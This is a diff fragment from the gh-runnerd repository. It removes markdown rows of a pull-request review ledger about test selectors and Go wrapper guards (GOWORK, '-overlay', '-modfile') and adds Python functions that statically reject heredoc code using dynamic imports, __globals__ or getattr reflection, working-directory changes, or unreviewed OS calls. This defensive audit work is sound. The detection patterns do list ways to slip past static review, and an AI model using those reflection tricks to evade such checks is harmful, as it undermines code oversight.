-|---|---| -| [3998925786](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925786), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the root-only JIT rerun omitted worker transport. The packet now includes worker-runtime and tagged worker-command selectors; the wrapper validates their package/tag name sets before execution. | -| [3998925788](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925788), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the non-terminal paired command excluded every terminal test. The packet now prescribes collection, all-except, worker, heavy, remainder and storage partitions, each guarded by list validation. | -| [3998925790](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925790), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: inline selector pipes could split the ledger table. Commands remain outside the ten-row ledger, and the recorded shape check requires ten data rows with four columns. | -| [3998925793](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925793), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the earlier driver blob contradicted ACK-before-acquisition. The evidence index now points to the corrected driver revision 0e08ce8285846e26a94fb6fcb33bbeede662bf14. | -| [3998925795](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925795), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: callback-loss reruns omitted the missing-callback and error/quarantine cases. The ACK root selector now names all three recovery tests and the wrapper checks the resulting set/count. | -| [3998973873](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973873), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: root-only ACK reruns omitted driver ACK/acquisition checks. The livecanary ACK selector now includes the driver and refusal contracts, with pre-run set/count validation. | -| [3998973876](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973876), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: worker-only JIT reruns omitted controller JIT-loss probes. The livecanary JIT selector now names both controller cases and is guarded before execution. | -| [3998973877](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973877), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the reconciliation prefix omitted retained-uncertainty predicates. The quarantine selector now explicitly includes all named predicates, with count/set validation. | -| [3999010977](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010977), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: valid singleton cases did not reject foreign or multi-job messages. The ACK/livecanary selector now includes both refusal tests and validates their presence before running. | -| [3999010981](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010981), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: the image/profile row selected only one worker test. The worker-runtime selector now includes profile, update-policy and Docker-preflight contracts, guarded by the wrapper. | -| [3999010985](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010985), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: retained-uncertainty cases were absent from both reconciliation commands. The quarantine selector now includes observed-job, unexpected-work, later-absence and persistence-failure cases. | -| [3999010989](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010989), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: the baseline-only command omitted global admission checks. The packet now has explicit controller and worker admission selectors, including cross-directory and concurrent-start cases. | -| [3999010990](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010990), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: SDK session-refresh behavior was omitted from the ACK selector. The root selector now includes TestSDKHTTPFailuresAndSessionRefresh and validates the exact set. | -| [3999060310](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999060310), source [60fdefe124d7c83ad54eac36950cb574f7e0c9aa](https://github.com/1XP-AI/gh-runnerd/commit/60fdefe124d7c83ad54eac36950cb574f7e0c9aa) | Reproduced: demand and stale-statistics tests were absent from the SDK rerun. The root selector now names both cases and the wrapper checks count and set before running. | -| [3999208511](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208511), source [cdaf879fed807da517ab88ea5db3dba6e99a948e](https://github.com/1XP-AI/gh-runnerd/commit/cdaf879fed807da517ab88ea5db3dba6e99a948e) | Reproduced: the tagged controller command was missing. The packet now prescribes the ten tagged cmd/g01-live input/refusal checks with fail-closed validation. | -| [3999208514](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208514), source [f59a30532bfdc62876065dcf8b4997520606e6a6](https://github.com/1XP-AI/gh-runnerd/commit/f59a30532bfdc62876065dcf8b4997520606e6a6) | Reproduced: tagged worker JIT input checks were absent. The packet now includes the g01_worker command and expected set/count guard. | -| [3999208519](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208519), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: worker journal/authority tests were omitted. The liveworker reconciliation selector now names those durability contracts and validates them before execution. | -| [3999433329](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433329), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: worker admission contracts were not explicit. The worker admission selector now covers the integrity suite and the tagged unsupported-account case, with wrapper validation. | -| [3999433330](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433330), source [080b9c29c0c056dffd03f54567b593a426a1909d](https://github.com/1XP-AI/gh-runnerd/commit/080b9c29c0c056dffd03f54567b593a426a1909d) | Reproduced: controller update-policy contracts were absent. The livecanary update-policy selector now includes disable-update, unconfirmed-setting and drift cases. | -| [3999433331](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433331), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: uncertainty and cleanup contracts were omitted from the worker selector. The worker-runtime command now includes uncertain-start, active/unknown retention and terminal-removal cases. | -| [3999433334](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433334), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: scheduled reconciliation was stated too much like implemented behavior. The packet now labels scheduling, fencing and rehydration as future production requirements and preserves the live gap. | -| [3999433335](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433335), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: broad rollback could revert independent corrections. The rollback row now scopes removal/restoration to this packet and preserves driver and routing corrections. | + changed = True + while changed: + changed = False + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + changed = any([bind(target, node.value) for target in node.targets]) or changed + elif isinstance(node, (ast.AnnAssign, ast.NamedExpr)): + changed = bind(node.target, node.value) or changed + elif isinstance(node, (ast.For, ast.AsyncFor, ast.comprehension)): + iterable = node.iter + if ( + isinstance(iterable, ast.Call) + and isinstance(iterable.func, ast.Name) + and iterable.func.id == "filter" + and len(iterable.args) == 2 + and isinstance(iterable.args[0], ast.Constant) + and iterable.args[0].value is None + and not iterable.keywords + ): + iterable = iterable.args[1] + if ( + isinstance(iterable, ast.Call) + and isinstance(iterable.func, ast.Name) + and iterable.func.id in {"tuple", "list", "set", "iter", "reversed", "sorted"} + and len(iterable.args) == 1 + and not iterable.keywords + ): + iterable = iterable.args[0] + if isinstance(iterable, (ast.Tuple, ast.List, ast.Set)): + changed = any([bind(node.target, item) for item in iterable.elts]) or changed + return names -### Supplemental stale/outdated root findings -These eight root findings were received after the historical 22-row ledger was -recorded. Each row retains the discussion URL and immutable source commit; -disposition cites the packet selector or source text that reproduces the issue -and its correction, rather than relying on staleness alone. +def reviewed_python_git_query_runtime_dependencies_stable(tree, parents): + """Keep the bounded Git capture's imported providers on stable bindings.""" + exported_members = { + "os": {"environ", "killpg", "read", "set_blocking", "write"}, + "selectors": {"DefaultSelector", "EVENT_READ", "EVENT_WRITE"}, + "signal": {"SIGKILL", "SIGTERM"}, + "subprocess": { + "CompletedProcess", "DEVNULL", "PIPE", "Popen", "TimeoutExpired" + }, + "time": {"monotonic", "sleep"}, + } + import_counts = {module: 0 for module in exported_members} + if any( + isinstance(node, ast.Name) and node.id == "__import__" + or isinstance(node, ast.Attribute) and node.attr == "_os" + or ( + isinstance(node, ast.ImportFrom) + and node.module == "tempfile" + and any(alias.name in {"_os", "*"} for alias in node.names) + ) + or ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "getattr" + and len(node.args) > 1 + and isinstance(node.args[1], ast.Constant) + and node.args[1].value == "_os" + ) + for node in ast.walk(tree) + ): + return False + for node in ast.walk(tree): + if isinstance(node, ast.Import): + for alias in node.names: + if alias.name in exported_members: + if alias.asname is not None or parents.get(node) is not tree: + return False + import_counts[alias.name] += 1 + if alias.name == "builtins": + return False + elif isinstance(node, ast.ImportFrom): + if node.module in exported_members or node.module == "builtins": + return False + if any(count != 1 for count in import_counts.values()): + return False -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [3999099702](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999099702), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the admission selector omitted `TestAuditPR25DistinctStateDirectoriesMustShareCap`. The packet's admission-livecanary selector now names that cross-directory cap regression, with wrapper list/set/count validation before execution. | -| [3999099708](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999099708), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the reconciliation selectors omitted `TestDemandStatisticsAllowControlledProbeButNeverCleanup`. The packet now includes that demand-statistics quarantine contract in the reconciliation and quarantine selectors, with exact list/set/count validation. | -| [3999140786](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140786), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: reconciliation selectors omitted the four `TestInventory*` contracts. The packet now names `TestInventoryStrictPages`, `TestInventoryMalformedStopsLegacyEffects`, `TestInventoryTransportRefusalIsBoundedAndSanitized` and `TestInventoryImpossibleTotalStopsBeforeNextPage` in the exact reconciliation selector and audit. | -| [3999140787](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140787), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the ACK selector omitted `TestNoMessageDoesNotCountAsCompletedBarrier`. The packet now includes this empty-poll barrier contract in the exact ACK/livecanary selector and list-only audit. | -| [3999140792](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140792), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the secret/error selector omitted decoded-body truncation and gzip-budget checks. The packet now includes `TestResponseReaderConsumesOnlyBudgetPlusOneAndRejectsTruncation` and `TestResponseBudgetAppliesAfterGzipDecompression` in the livecanary selector. | -| [3999140797](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140797), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: journal/authority selectors omitted strict duplicate-field, failed-sync, unrecorded-authority and renewed-approval contracts. The packet now includes the named livecanary and liveworker journal/authority cases in the reconciliation partitions and audits their exact sets. | -| [3999140800](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140800), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the tagged controller command did not exercise the livecanary credential-attestation and plaintext/off-host transport refusals. The packet now includes `TestCredentialAttestationMismatchAndExpiredTokenRejected` and `TestTransportRejectsPlaintextOffHostAndProxyBeforeNetwork` in the live-transport selector. | -| [3999140806](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140806), source [9b94ff9f3114e5546abbe741b96486c3bc13626c](https://github.com/1XP-AI/gh-runnerd/commit/9b94ff9f3114e5546abbe741b96486c3bc13626c) | Reproduced against the immutable source: `docs/reviews/team-review.md` already marks the Astra assignments historical-only and routes current work through `docs/EXECUTION.md`; the correction was made by `f59a30532bfdc62876065dcf8b4997520606e6a6`. This stale finding is outside packet-only ownership, so no other file is changed here. | + helper_names = { + "run_bounded_git_query", + "capture_git_query_output", + "terminate_git_query_group", + "close_git_query_streams", + "wait_for_git_query_group_exit", + "git_query_group_exists", + } + builder_names = {"git_query", "git_command"} + used_builders = { + node.func.id + for node in ast.walk(tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id in builder_names + } + stable_names = helper_names | used_builders + for node in ast.walk(tree): + if isinstance(node, ast.Attribute) and node.attr == "__globals__": + return False + if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name): + continue + if node.func.id in {"globals", "locals"} or ( + node.func.id == "vars" and not node.args + ): + return False + if ( + ( + node.func.id == "getattr" + or python_assigned_callable_alias(node.func.id, "getattr", tree) + ) + and len(node.args) > 1 + and "__globals__" in python_static_string_values(node.args[1], tree) + ): + return False + definitions = {name: 0 for name in stable_names} + for node in ast.walk(tree): + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + if node.name in stable_names: + if parents.get(node) is not tree or not isinstance( + node, (ast.FunctionDef, ast.AsyncFunctionDef) + ): + return False + definitions[node.name] += 1 + elif isinstance(node, ast.Name) and node.id in stable_names: + if isinstance(node.ctx, (ast.Store, ast.Del)): + return False + if isinstance(node.ctx, ast.Load): + parent = parents.get(node) + if not isinstance(parent, ast.Call) or parent.func is not node: + return False + elif isinstance(node, ast.arg) and node.arg in stable_names: + return False + elif isinstance(node, ast.ExceptHandler) and node.name in stable_names: + return False + elif isinstance(node, (ast.MatchAs, ast.MatchStar)) and node.name in stable_names: + return False + elif isinstance(node, ast.MatchMapping) and node.rest in stable_names: + return False + elif isinstance(node, ast.Import): + if any( + (alias.asname or alias.name.split(".", 1)[0]) in stable_names + for alias in node.names + ): + return False + elif isinstance(node, ast.ImportFrom): + if any( + (alias.asname or alias.name) in stable_names + for alias in node.names + ): + return False + elif isinstance(node, (ast.Global, ast.Nonlocal)) and any( + name in stable_names for name in node.names + ): + return False + if any(count != 1 for count in definitions.values()): + return False -### Current exact-head GOWORK findings + provider_names = set(exported_members) + for node in ast.walk(tree): + if isinstance(node, ast.Name) and node.id in provider_names: + if isinstance(node.ctx, (ast.Store, ast.Del)): + return False + if isinstance(node.ctx, ast.Load): + parent = parents.get(node) + if not isinstance(parent, ast.Attribute) or parent.value is not node: + return False + elif isinstance(node, ast.arg) and node.arg in provider_names: + return False + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and node.name in provider_names: + return False + elif isinstance(node, ast.ExceptHandler) and node.name in provider_names: + return False + elif isinstance(node, (ast.MatchAs, ast.MatchStar)) and node.name in provider_names: + return False + elif isinstance(node, ast.MatchMapping) and node.rest in provider_names: + return False + elif isinstance(node, ast.Name) and node.id == "__builtins__": + return False -The two Codex findings on the exact prior packet head -[`c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae`](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) -were reproduced and corrected here; neither is treated as resolved by -staleness alone: + callable_members = set() + references = [] + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in exported_members + ): + continue + member = (node.value.id, node.attr) + if node.attr not in exported_members[node.value.id]: + return False + if isinstance(node.ctx, (ast.Store, ast.Del)): + return False + parent = parents.get(node) + if isinstance(parent, ast.Call) and parent.func is node: + callable_members.add(member) + elif isinstance(parent, ast.ExceptHandler) and parent.type is node: + callable_members.add(member) + references.append((node, member)) + + def passive_value_reference(node): + parent = parents.get(node) + if isinstance(parent, ast.Call) and node in parent.args: + return True + if isinstance(parent, ast.keyword) and parent.value is node: + return True + if isinstance(parent, ast.IfExp) and node in {parent.body, parent.orelse}: + keyword = parents.get(parent) + return isinstance(keyword, ast.keyword) and keyword.value is parent + if node.attr == "environ" and node.value.id == "os": + if isinstance(parent, ast.Compare): + return node in parent.comparators or parent.left is node + if isinstance(parent, ast.Subscript): + return parent.value is node and isinstance(parent.ctx, ast.Load) + if isinstance(parent, ast.comprehension): + return parent.iter is node + return False -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [4000590180](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000590180), source [c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) | Reproduced: inherited `GOWORK` could select an external workspace/replacement while the wrapper was resolving package metadata. Corrected: after parsing environment assignments, the wrapper forces `GOWORK=off` in one Go-child environment before `go env`, `go list`, either `go test -list` probe or the JSON test subprocess, so caller workspaces are ignored before metadata selection. | -| [4000590184](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000590184), source [c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) | Reproduced: inherited `GOWORK` could alter list or execution behavior after metadata validation. Corrected: the independent selector and package-init audits also pin `GOWORK=off`; a read-only synthetic inherited-workspace probe injected an external sentinel and observed `GOWORK=off` on all three direct metadata/list children before accepting the list-only result. No test body, live resource or external workspace was used. | + for node, member in references: + if member in callable_members: + parent = parents.get(node) + if not ( + isinstance(parent, ast.Call) and parent.func is node + ) and not ( + isinstance(parent, ast.ExceptHandler) and parent.type is node + ): + return False + elif not passive_value_reference(node): + return False -### Current exact-head Go overlay finding + builtin_names = { + "BaseException", "BlockingIOError", "BrokenPipeError", "OSError", + "ProcessLookupError", "SystemExit", "bytearray", "bytes", "getattr", + "len", "max", "memoryview", "min", + } + for node in ast.walk(tree): + if ( + isinstance(node, ast.Name) + and node.id in builtin_names + and isinstance(node.ctx, ast.Load) + and not python_unshadowed_builtin_reference( + node, {node.id}, tree, parents + ) + ): + return False + return True -The Codex finding on the exact prior packet head -[`44a2142adab39bba73fc93965fa003ed17506d92`](https://github.com/1XP-AI/gh-runnerd/commit/44a2142adab39bba73fc93965fa003ed17506d92)—[4000667752](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000667752)—was reproduced and corrected here; it is not treated as resolved by a new head or staleness alone: -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [4000667752](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000667752), source [44a2142adab39bba73fc93965fa003ed17506d92](https://github.com/1XP-AI/gh-runnerd/commit/44a2142adab39bba73fc93965fa003ed17506d92) | Reproduced: the guarded wrapper accepted Go `-overlay` build overrides, allowing a caller-supplied overlay to change the source/build inputs after the wrapper's reviewed-tree assumptions. Corrected: immediately after parsing command-prefix assignments and validating `go test`, the wrapper rejects both separated `-overlay FILE` and equals-form `-overlay=FILE` before the first `go env`, metadata, list or test child. The focused synthetic regression patched direct Go-child launches, required both forms to reject with empty pre-guard output, and therefore recorded no test body or result; no live operation, secret, private path or overlay file was used. | +def python_working_directory_change_violation(tree, parents): + """Reject cwd-changing APIs through module, imported, or container aliases.""" + reviewed_module_storage = getattr( + tree, "_issue79_reviewed_module_value_storage", set() + ) + sensitive_modules = { + "contextlib": python_assigned_module_names(tree, "contextlib"), + "os": python_assigned_module_names(tree, "os"), + } + cwd_methods = {"chdir", "fchdir"} + for node in ast.walk(tree): + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "__import__" + and node.args + and isinstance(node.args[0], ast.Constant) + and node.args[0].value in sensitive_modules + ): + return "Python heredoc dynamically imports a working-directory module" + if isinstance(node, ast.ImportFrom) and node.module in sensitive_modules: + if any(alias.name == "*" or alias.name in cwd_methods for alias in node.names): + return "Python heredoc imports an unreviewed working-directory change API" + if ( + isinstance(node, ast.Name) + and isinstance(node.ctx, ast.Load) + and any(node.id in names for names in sensitive_modules.values()) + ): + if id(node) in reviewed_module_storage: + continue + parent = parents.get(node) + if isinstance(parent, ast.Attribute) and parent.value is node: + continue + if ( + isinstance(parent, ast.Assign) + and parent.value is node + and all(isinstance(target, ast.Name) for target in parent.targets) + ): + continue + return "Python heredoc lets a working-directory module escape its reviewed attribute path" + if isinstance(node, ast.Attribute) and node.attr in cwd_methods: + if ( + isinstance(node.value, ast.Name) + and any(node.value.id in names for names in sensitive_modules.values()) + ): + return "Python heredoc accesses an unreviewed working-directory change API" + if ( + isinstance(node.value, ast.Call) + and isinstance(node.value.func, ast.Name) + and node.value.func.id == "__import__" + and node.value.args + and isinstance(node.value.args[0], ast.Constant) + and node.value.args[0].value in sensitive_modules + ): + return "Python heredoc accesses an unreviewed working-directory change API" + if not isinstance(node, ast.Call): + continue + if isinstance(node.func, ast.Name) and ( + node.func.id in {"getattr", "vars"} + or python_assigned_callable_alias(node.func.id, "getattr", tree) + or python_assigned_callable_alias(node.func.id, "vars", tree) + ): + module_argument = node.args[0] if node.args else None + if isinstance(module_argument, ast.Name) and any( + module_argument.id in names for names in sensitive_modules.values() + ): + attributes = ( + python_static_string_values(node.args[1], tree) + if node.func.id != "vars" and len(node.args) > 1 + else set() + ) + if not attributes or any(attribute in cwd_methods for attribute in attributes): + return "Python heredoc reflects over working-directory module APIs" + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "__getattribute__" + ): + if ( + isinstance(node.func.value, ast.Name) + and node.func.value.id in {"object", "type"} + and node.args + ): + module_argument = node.args[0] + attribute_argument = node.args[1] if len(node.args) > 1 else None + else: + module_argument = node.func.value + attribute_argument = node.args[0] if node.args else None + if isinstance(module_argument, ast.Name) and any( + module_argument.id in names for names in sensitive_modules.values() + ): + attributes = ( + python_static_string_values(attribute_argument, tree) + if attribute_argument is not None else set() + ) + if not attributes or any(attribute in cwd_methods for attribute in attributes): + return "Python heredoc reflects over working-directory module APIs" + return None -### Current exact-head Go alternate-module-file finding -The Codex finding on the exact prior packet head -[`5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038`](https://github.com/1XP-AI/gh-runnerd/commit/5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038)—[4000712999](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000712999)—was reproduced and corrected here; it is not treated as resolved by a new head or staleness alone: +def python_unknown_os_call_violation(tree): + """Fail closed for OS calls whose path/effect surface is not reviewed.""" + os_names = python_assigned_module_names(tree, "os") + from_import_parents = { + child: node + for node in ast.walk(tree) + for child in ast.iter_child_nodes(node) + } + from_import_bindings = [] + for node in ast.walk(tree): + if not ( + isinstance(node, ast.ImportFrom) and node.module in {"os", "shutil"} + ): + continue + for alias in node.names: + if alias.name == "*": + continue + from_import_bindings.append( + ( + alias.asname or alias.name, + f"{node.module}.{alias.name}", + python_enclosing_scope(node, from_import_parents), + (node.lineno, node.col_offset), + ) + ) -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [4000712999](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000712999), source [5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038](https://github.com/1XP-AI/gh-runnerd/commit/5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038) | Reproduced: the guarded wrapper rejected Go `-overlay` overrides but still accepted `-modfile`, allowing a caller-supplied alternate module file to change the module graph and dependency/build inputs after the wrapper's reviewed-tree assumptions. Corrected: immediately after parsing command-prefix assignments and validating `go test`, the wrapper rejects both separated `-modfile FILE` and equals-form `-modfile=FILE` before the first `go env`, metadata, list or test child. The focused synthetic no-Go-child regression patched direct Go-child launches, required both forms to reject with empty pre-guard output, and therefore recorded no test body or result; no live operation, secret, private path or alternate module file was used. | + def from_import_candidates(name, call): + call_position = (call.lineno, call.col_offset) + chain = python_lexical_scope_chain( + python_enclosing_scope(call, from_import_parents), + from_import_parents, + ) + for depth, scope in enumerate(chain): + ordered_matches = sorted( + (position, dotted) + for bound, dotted, scope_node, position in from_import_bindings + if bound == name + and scope_node is scope + and (depth > 0 or position < call_position) + ) + if ordered_matches: + return [dotted for _position, dotted in ordered_matches] + return [] -### Current exact-head selector-audit findings + def from_import_call_violation(dotted, resolved_from_import, call): + root, remainder = dotted.split(".", 1) + if root == "shutil" and resolved_from_import: + if ( + dotted == "shutil.which" + or dotted in python_filesystem_mutating_functions + ): + return None + return ( + "Python heredoc calls an unreviewed shutil entry point " + f"{dotted!r} on line {call.lineno}" + ) + if root not in os_names and not resolved_from_import: + return None + canonical = "os." + remainder + if root != "os" and canonical in python_filesystem_mutating_functions: + return ( + "Python heredoc calls a filesystem mutator through an OS module alias " + f"{dotted!r} on line {call.lineno}" + ) + if ( + canonical in python_filesystem_mutating_functions + or canonical in python_reviewed_os_calls + or canonical.startswith("os.path.") + or canonical.startswith("os.environ.") + ): + return None + return ( + "Python heredoc contains an unreviewed OS call with possible path/effect " + f"surface {dotted!r} on line {call.lineno}" + ) + for node in ast.walk(tree): + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in os_names + and node.attr == "__dict__" + ) or ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and ( + node.func.id in {"vars", "getattr"} + or python_assigned_callable_alias(node.func.id, "vars", tree) + or python_assigned_callable_alias(node.func.id, "getattr", tree) + ) + and node.args + and any( + isinstance(candidate, ast.Name) and candidate.id in os_names + for candidate in ast.walk(node.args[0]) + ) + ): + return "Python heredoc accesses an OS module dictionary" + for node in ast.walk(tree): + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in os_names + and node.value.id != "os" + and node.attr in {"environ", "environb", "getenv", "getenvb"} + ): + return "Python heredoc accesses environment values through an OS module alias" + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + dotted = python_dotted_name(node.func) + if dotted is not None and "." not in dotted: + candidates = [ + (candidate_dotted, True) + for candidate_dotted in from_import_candidates(dotted, node) + ] + if not candidates: + continue + elif not dotted or "." not in dotted: + continue + else: + candidates = [(dotted, False)] + for candidate_dotted, resolved_from_import in candidates: + violation = from_import_call_violation( + candidate_dotted, resolved_from_import, node + ) + if violation is not None: + return violation + return None -The two Codex findings on exact prior packet head -[`2a054740580a0ed4872742d39308d373300b6e5e`](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e)— -[4000760151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760151) -and [4000760154](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760154)— -were reproduced and corrected here; neither is treated as resolved by a new -head or staleness alone: -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [4000760151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760151), source [2a054740580a0ed4872742d39308d373300b6e5e](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e) | Reproduced: the prior static selector regex required assignments to be followed directly by `go test`, so a standard `env GOTOOLCHAIN=go1.26.8 go test ... -run ...` could evade discovery while the wrapper's generic command-shape rejection was not part of the audit. Corrected: static shell and logical-command audits now discover prefixed `env` forms, including continued and option-bearing forms, while the wrapper and package/build metadata audit explicitly reject an `env` command before any Go child. Focused synthetic red-before-green probes proved unguarded env-wrapped selectors are discovered/rejected and patched direct Go-child launches to require both env forms to fail with no result output; no Go test body, live operation, credential or private path was used. | -| [4000760154](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760154), source [2a054740580a0ed4872742d39308d373300b6e5e](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e) | 